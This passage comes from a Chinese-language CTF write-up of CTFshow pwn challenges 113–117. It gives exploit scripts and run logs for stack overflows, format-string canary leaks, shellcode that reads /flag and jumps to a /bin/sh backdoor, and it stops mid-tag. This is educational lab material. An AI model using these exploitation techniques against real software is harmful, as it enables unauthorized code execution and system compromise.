class="string">mov rax, 0x67616c662f2e ; rax = 0x67616c662f2e（对应字符串&quot;./flag&quot;的ASCII码）</span></span><br><span class="line"><span class="string">push rax ; 将路径压入栈（作为open的参数）</span></span><br><span class="line"><span class="string">mov rdi, rsp ; rdi = 栈地址（路径字符串）</span></span><br><span class="line"><span class="string">xor esi, esi ; esi = 0（O_RDONLY模式）</span></span><br><span class="line"><span class="string">mov eax, 2 ; eax = 2（syscall号：open）</span></span><br><span class="line"><span class="string">syscall ; 调用open(&quot;./flag&quot;, O_RDONLY)</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">cmp eax, 0               ; 检查是否打开成功（eax为文件描述符，&gt;0成功）</span></span><br><span class="line"><span class="string">jg next                  ; 成功则跳至next</span></span><br><span class="line"><span class="string">push 1                   ; 失败则准备输出&quot;1&quot;</span></span><br><span class="line"><span class="string">mov edi, 1               ; edi = 1（stdout）</span></span><br><span class="line"><span class="string">mov rsi, rsp             ; rsi = 栈地址（&quot;1&quot;的地址）</span></span><br><span class="line"><span class="string">mov edx, 4               ; edx = 4（输出长度）</span></span><br><span class="line"><span class="string">mov eax, edi             ; eax = 1（syscall号：write）</span></span><br><span class="line"><span class="string">syscall</span></span><br><span class="line"><span class="string">jmp exit                 ; 退出</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">next:</span></span><br><span class="line"><span class="string">mov edi, eax             ; edi = 文件描述符</span></span><br><span class="line"><span class="string">mov rsi, rsp             ; rsi = 栈地址（用于存储读取内容）</span></span><br><span class="line"><span class="string">mov edx, 0x100           ; edx = 0x100（读取长度）</span></span><br><span class="line"><span class="string">xor eax, eax             ; eax = 0（syscall号：read）</span></span><br><span class="line"><span class="string">syscall                  ; 读取文件内容到栈</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">mov edx, eax             ; edx = 实际读取长度</span></span><br><span class="line"><span class="string">mov edi, 1               ; edi = 1（stdout）</span></span><br><span class="line"><span class="string">mov rsi, rsp             ; rsi = 栈地址（读取到的内容）</span></span><br><span class="line"><span class="string">mov eax, edi             ; eax = 1（syscall号：write）</span></span><br><span class="line"><span class="string">syscall                  ; 输出文件内容</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">exit:</span></span><br><span class="line"><span class="string">xor edi, edi             ; edi = 0（退出码）</span></span><br><span class="line"><span class="string">mov eax, 231             ; eax = 231（syscall号：exit）</span></span><br><span class="line"><span class="string">syscall                  ; 退出程序</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 方法二</span></span><br><span class="line"></span><br><span class="line">sh = <span class="string">&#x27;&#x27;</span></span><br><span class="line">sh += shellcraft.<span class="built_in">open</span>(<span class="string">&#x27;/flag&#x27;</span>) <span class="comment">#生成打开/flag文件的汇编代码</span></span><br><span class="line">sh += shellcraft.read(<span class="number">3</span>,<span class="string">&#x27;rsp&#x27;</span>,<span class="number">0x100</span>) <span class="comment">#生成读取文件的汇编代码。其中3是假设的文件描述符（open成功后通常返回 3，因为 0/1/2 是标准输入 / 输出 / 错误），&#x27;rsp&#x27;表示栈地址（缓冲区），0x100是读取长度。</span></span><br><span class="line">sh += shellcraft.write(<span class="number">1</span>,<span class="string">&#x27;rsp&#x27;</span>,<span class="number">0x100</span>) <span class="comment">#生成输出内容的汇编代码。1是标准输出（stdout），&#x27;rsp&#x27;是缓冲区（存放读取到的内容），0x100是输出长度。</span></span><br><span class="line">shellcode = asm(sh)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">#方法三</span></span><br><span class="line"></span><br><span class="line">sh = shellcraft.cat(<span class="string">&quot;/flag&quot;</span>)</span><br><span class="line">shellcode = asm(sh)</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;shellcraft.cat(path)是shellcraft提供的高层封装函数，直接实现 “读取文件并输出内容” 的完整功能（类似 Linux 的cat命令）。其内部自动完成：</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">- 打开/flag文件；</span></span><br><span class="line"><span class="string">- 循环读取文件内容到缓冲区；</span></span><br><span class="line"><span class="string">- 将缓冲区内容写入标准输出（stdout）；</span></span><br><span class="line"><span class="string">- 关闭文件并退出。&#x27;&#x27;&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#方法四</span></span><br><span class="line"></span><br><span class="line">sh = shellcraft.readfile(<span class="string">&quot;/flag&quot;</span>,<span class="number">2</span>)</span><br><span class="line">shellcode = asm(sh)</span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;shellcraft.readfile(path, fd)也是shellcraft的高层函数，功能是 “读取path文件的内容，并写入到文件描述符fd”。其中：</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">第一个参数&quot;/flag&quot;是目标文件路径；</span></span><br><span class="line"><span class="string">第二个参数2是目标文件描述符（2对应标准错误 stderr，通常应该用1表示标准输出 stdout，这里可能是笔误）。</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Opening connection to pwn.challenge.ctf.show on port 28240: Done</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x400000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">[+] There are multiple libc that meet current constraints :</span><br><span class="line">0 - libc6_2.27-0ubuntu2_amd64</span><br><span class="line">1 - libc-2.36-22.mga9.i586</span><br><span class="line">2 - libc6_2.19-0ubuntu6.5_amd64</span><br><span class="line">3 - libc6_2.27-3ubuntu1_amd64</span><br><span class="line">4 - libc-2.36-33.mga9.i586</span><br><span class="line">5 - libc6_2.37-0ubuntu1_amd64</span><br><span class="line">6 - libc6_2.27-0ubuntu3_amd64</span><br><span class="line">7 - libc-2.32-6.fc33.i686</span><br><span class="line">8 - libc-2.32-8.fc33.i686</span><br><span class="line">9 - libc-2.32-7.fc33.i686</span><br><span class="line">[+] Choose one : 0</span><br><span class="line">libc_base: 0x7f378bba4000</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">Can<span class="string">&#x27;t get the information of the given path.</span></span><br><span class="line"><span class="string">\x00ctfshow&#123;6f46de02-1282-4af2-8737-9a62a000944b&#125;</span></span><br></pre></td></tr></table></figure><h2 id="pwn114"><a href="#pwn114" class="headerlink" title="pwn114"></a>pwn114</h2><h6 id="Hint：现在你应该学会了吧"><a href="#Hint：现在你应该学会了吧" class="headerlink" title="Hint：现在你应该学会了吧"></a>Hint：现在你应该学会了吧</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>还是64位保护全开</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s1[<span class="number">10</span>]; <span class="comment">// [rsp+16h] [rbp-3FAh] BYREF</span></span><br><span class="line">  <span class="type">char</span> s[<span class="number">1004</span>]; <span class="comment">// [rsp+20h] [rbp-3F0h] BYREF</span></span><br><span class="line">  <span class="type">int</span> <span class="type">char</span>; <span class="comment">// [rsp+40Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  logo();</span><br><span class="line">  signal(<span class="number">11</span>, sigsegv_handler);</span><br><span class="line">  flagishere();</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Do you know Canary now?&quot;</span>);</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Input &#x27;Yes&#x27; or &#x27;No&#x27;: &quot;</span>);</span><br><span class="line">    __isoc99_scanf(<span class="string">&quot;%s&quot;</span>, s1);</span><br><span class="line">    <span class="keyword">if</span> ( !<span class="built_in">strcmp</span>(s1, <span class="string">&quot;Yes&quot;</span>) )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">if</span> ( !<span class="built_in">strcmp</span>(s1, <span class="string">&quot;No&quot;</span>) )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;I&#x27;m sorry to hear that! Come on.&quot;</span>);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Invalid input, please enter again!&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Ok,I know you got it!&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Tell me you want: &quot;</span>);</span><br><span class="line">  <span class="keyword">do</span></span><br><span class="line">    <span class="type">char</span> = getchar();</span><br><span class="line">  <span class="keyword">while</span> ( <span class="type">char</span> != <span class="number">10</span> &amp;&amp; <span class="type">char</span> != <span class="number">-1</span> );</span><br><span class="line">  fgets(s, <span class="number">1000</span>, <span class="built_in">stdin</span>);</span><br><span class="line">  ctfshow(s);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进ctfshow():</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">char</span> *__fastcall <span class="title function_">ctfshow</span><span class="params">(<span class="type">const</span> <span class="type">char</span> *p_s)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> dest[<span class="number">256</span>]; <span class="comment">// [rsp+10h] [rbp-100h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">strcpy</span>(dest, p_s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>存在后⻔函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">char</span> *<span class="title function_">flagishere</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  FILE *stream; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  stream = fopen(<span class="string">&quot;/ctfshow_flag&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;/ctfshow_flag: No such file or directory.&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> fgets(flag, <span class="number">64</span>, stream);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ul><li>关键函数：<ul><li><code>main</code>函数：接收用户输入 “Yes” 后，通过<code>fgets</code>读取最多 1000 字节到<code>s</code>，再调用<code>ctfshow(s)</code>。</li><li><code>ctfshow</code>函数：使用<code>strcpy</code>将<code>s</code>复制到 256 字节的<code>dest</code>数组中，存在<strong>栈溢出漏洞</strong>（<code>strcpy</code>不检查长度，输入超过 256 字节会溢出）。</li><li><code>flagishere</code>函数：已提前读取<code>/ctfshow_flag</code>内容到全局变量<code>flag</code>中，只需泄露<code>flag</code>变量即可获取 flag。</li></ul></li></ul><p>甚⾄都不需要写exp</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ cyclic 256</span><br><span class="line">aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac</span><br><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Linux_Security_Mechanism_Bypass</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : No Canary, I think you should have learned!</span><br><span class="line">    * *************************************</span><br><span class="line">Do you know Canary now?</span><br><span class="line">Input <span class="string">&#x27;Yes&#x27;</span> or <span class="string">&#x27;No&#x27;</span>:</span><br><span class="line">Yes</span><br><span class="line">Ok,I know you got it!</span><br><span class="line">Tell me you want:</span><br><span class="line">aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;amd64&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">io.sendline(<span class="string">&quot;Yes&quot;</span>)</span><br><span class="line">payload = cyclic(<span class="number">0x100</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><h2 id="pwn115"><a href="#pwn115" class="headerlink" title="pwn115"></a>pwn115</h2><h6 id="Hint：Bypass-Canary-姿势1"><a href="#Hint：Bypass-Canary-姿势1" class="headerlink" title="Hint：Bypass Canary 姿势1"></a>Hint：Bypass Canary 姿势1</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>32位开启了Canary保护与NX保护，部分开启RELRO保护</p><p>IDA查看main函数，直接跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  init(&amp;argc);</span><br><span class="line">  logo();</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Try Bypass Me!&quot;</span>);</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> i; <span class="comment">// [esp+0h] [ebp-D8h]</span></span><br><span class="line">  <span class="type">char</span> buf[<span class="number">200</span>]; <span class="comment">// [esp+4h] [ebp-D4h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v3; <span class="comment">// [esp+CCh] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v3 = __readgsdword(<span class="number">0x14u</span>);</span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt;= <span class="number">1</span>; ++i )</span><br><span class="line">  &#123;</span><br><span class="line">    read(<span class="number">0</span>, buf, <span class="number">0x200u</span>);</span><br><span class="line">    <span class="built_in">printf</span>(buf);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readgsdword(<span class="number">0x14u</span>) ^ v3;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>明显的溢出漏洞还有格式化字符串漏洞，还观察到存在后⻔函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">backdoor</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>由于开启了Canary保护，我们⾸先得泄漏出Canary的值，然后再利⽤backdoor函数进⾏get shell</p><p>（⽅式不唯⼀）</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;amd64&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">backdoor = elf.sym[<span class="string">&#x27;backdoor&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment"># leak Canary</span></span><br><span class="line">payload = <span class="string">b&#x27;a&#x27;</span>*<span class="number">200</span></span><br><span class="line">io.sendlineafter(<span class="string">b&quot;Try Bypass Me!\n&quot;</span>, payload) <span class="comment">#sendline发送 A*200 + &#x27;\n&#x27;,前 200 字节的 A 刚好填满 buf；第 201 字节的 \n（即 0xa）会溢出到 buf 后面的内存，而这个位置恰好是 Canary 的第一个字节（小端序下，Canary 的低地址字节被覆盖）。</span></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;a&#x27;</span>*<span class="number">200</span>)</span><br><span class="line">Canary = u32(io.recv(<span class="number">4</span>)) -<span class="number">0xa</span> <span class="comment">#由于泄露的 Canary 低字节被 0xa（换行符）覆盖，因此需要减去 0xa 来恢复 Canary 的原始值。</span></span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(Canary))</span><br><span class="line"></span><br><span class="line"><span class="comment"># Bypass Canary</span></span><br><span class="line">payload = <span class="string">b&quot;\x90&quot;</span>*<span class="number">200</span> + p32(Canary) + <span class="string">b&quot;\x90&quot;</span>*<span class="number">0xc</span> + p32(backdoor) <span class="comment">#\x90 是 NOP 指令（填充空间）【可以是其他字母】</span></span><br><span class="line">io.send(payload)</span><br><span class="line">io.recv()</span><br><span class="line">io.recv()</span><br><span class="line"><span class="comment">#ctfshow 函数中有一个循环，会执行两次输入 + 输出操作;两次 io.recv() 是为了匹配 ctfshow 函数中两次 printf 输出的逻辑，清空程序打印的冗余数据（第一次泄露的栈数据、第二次构造的 payload 内容），避免这些数据干扰后续的 shell 交互。</span></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 619</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">0x63fc1200</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line"> ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn116"><a href="#pwn116" class="headerlink" title="pwn116"></a>pwn116</h2><h6 id="Hint：Bypass-Canary-姿势2"><a href="#Hint：Bypass-Canary-姿势2" class="headerlink" title="Hint：Bypass Canary 姿势2"></a>Hint：Bypass Canary 姿势2</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>32位开启了Canary保护与NX保护，部分开启RELRO保护</p><p>IDA查看ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  init();</span><br><span class="line">  logo();</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">unsigned</span> <span class="type">int</span> <span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> buf[<span class="number">32</span>]; <span class="comment">// [esp+Ch] [ebp-2Ch] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v2; <span class="comment">// [esp+2Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v2 = __readgsdword(<span class="number">0x14u</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Look me &amp; use me!&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">0x50u</span>);</span><br><span class="line">  <span class="built_in">printf</span>(buf);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">0x50u</span>);</span><br><span class="line">  <span class="keyword">return</span> __readgsdword(<span class="number">0x14u</span>) ^ v2;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>同样的存在溢出漏洞跟格式化字符串漏洞，且存在后⻔函数:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">qwerasd</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;/bin/sh&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这次我们利⽤格式化字符串漏洞去泄漏Canary的值来进⾏绕过。</p><p>格式化字符串漏洞可以打印出栈中的内容，因此利⽤此漏洞可以打印出canary的值，再进⾏栈溢出。printf 函数直接打印了 read 读取的⽤⼾输⼊的内容，因此我们可以通过输⼊特殊的payload来利⽤printf泄露栈中的内容。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Linux_Security_Mechanism_Bypass</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : Using formatted strings to leak !</span><br><span class="line">    * *************************************</span><br><span class="line">Look me &amp; use me!</span><br><span class="line">AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p</span><br><span class="line">AAAA.0xff8693bc.0x50.0x8048603.0xff8693e8.0xf7151bb0.0xf71238ac.0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70</span><br></pre></td></tr></table></figure><p><strong>格式化字符串自身的偏移（第 7 个参数）</strong></p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">unsigned</span> <span class="type">int</span> v2; <span class="comment">// [esp+2Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v2 = __readgsdword(<span class="number">0x14u</span>);</span><br></pre></td></tr></table></figure><p>Canary 相对于格式化字符串的偏移0x20&#x2F;4&#x3D;8</p><p>所以 Canary：<code>7（基准偏移） + 8（buf占用的栈单位数） = 15</code></p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;i386&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">backdoor = <span class="number">0x8048586</span></span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&quot;Look me &amp; use me!&quot;</span>)</span><br><span class="line"><span class="comment">#print Canary</span></span><br><span class="line">payload = <span class="string">b&#x27;%15$8x&#x27;</span> <span class="comment">#08x是为了完整获取 Canary 的 4 字节数据，保证数据能完整显示为 8 位十六进制数</span></span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.recv()</span><br><span class="line">canary = <span class="built_in">int</span>(io.recv(<span class="number">8</span>),<span class="number">16</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">b&#x27;canary:&#x27;</span> + <span class="built_in">hex</span>(canary))</span><br><span class="line"><span class="comment">#Bypass Canary</span></span><br><span class="line">payload = <span class="string">b&#x27;a&#x27;</span> * <span class="number">32</span> + p32(canary) + <span class="string">b&#x27;a&#x27;</span> * <span class="number">0xc</span> + p32(backdoor)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.recv()</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 682</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">canary:0x8952fa00</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line"> ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn117【试一下远程-覆盖-libc-argv-0-】-SSP-Leak有版本限制最好小于libc2-23"><a href="#pwn117【试一下远程-覆盖-libc-argv-0-】-SSP-Leak有版本限制最好小于libc2-23" class="headerlink" title="pwn117【试一下远程,覆盖__libc_argv[0]】(SSP Leak有版本限制最好小于libc2.23)"></a>pwn117【试一下远程,覆盖__libc_argv[0]】(SSP Leak有版本限制最好小于libc2.23)</h2><h6 id="Hint：Bypass-Canary-姿势3"><a href="#Hint：Bypass-Canary-姿势3" class="headerlink" title="Hint：Bypass Canary 姿势3"></a>Hint：Bypass Canary 姿势3</h6><p><code>原理：由于canary检测篡改后会调用stack_chk_fail函数，其中一个参数是文件名，即“__libc_argv[0]”，将此覆盖就能输出特定内容。</code></p><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x400000)</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>64位开启了Canary保护与NX保护，部分开启RELRO保护</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> fd; <span class="comment">// [rsp+2Ch] [rbp-114h]</span></span><br><span class="line">  _BYTE v5[<span class="number">264</span>]; <span class="comment">// [rsp+30h] [rbp-110h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v6; <span class="comment">// [rsp+138h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v6 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  logo();</span><br><span class="line">  init();</span><br><span class="line">  fd = open(<span class="string">&quot;/flag&quot;</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !fd )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;No such file or directory.&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  read(fd, &amp;buf, <span class="number">0x100u</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Haha,It has reduced you a lot of difficulty!&quot;</span>);</span><br><span class="line">  gets(v5);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span 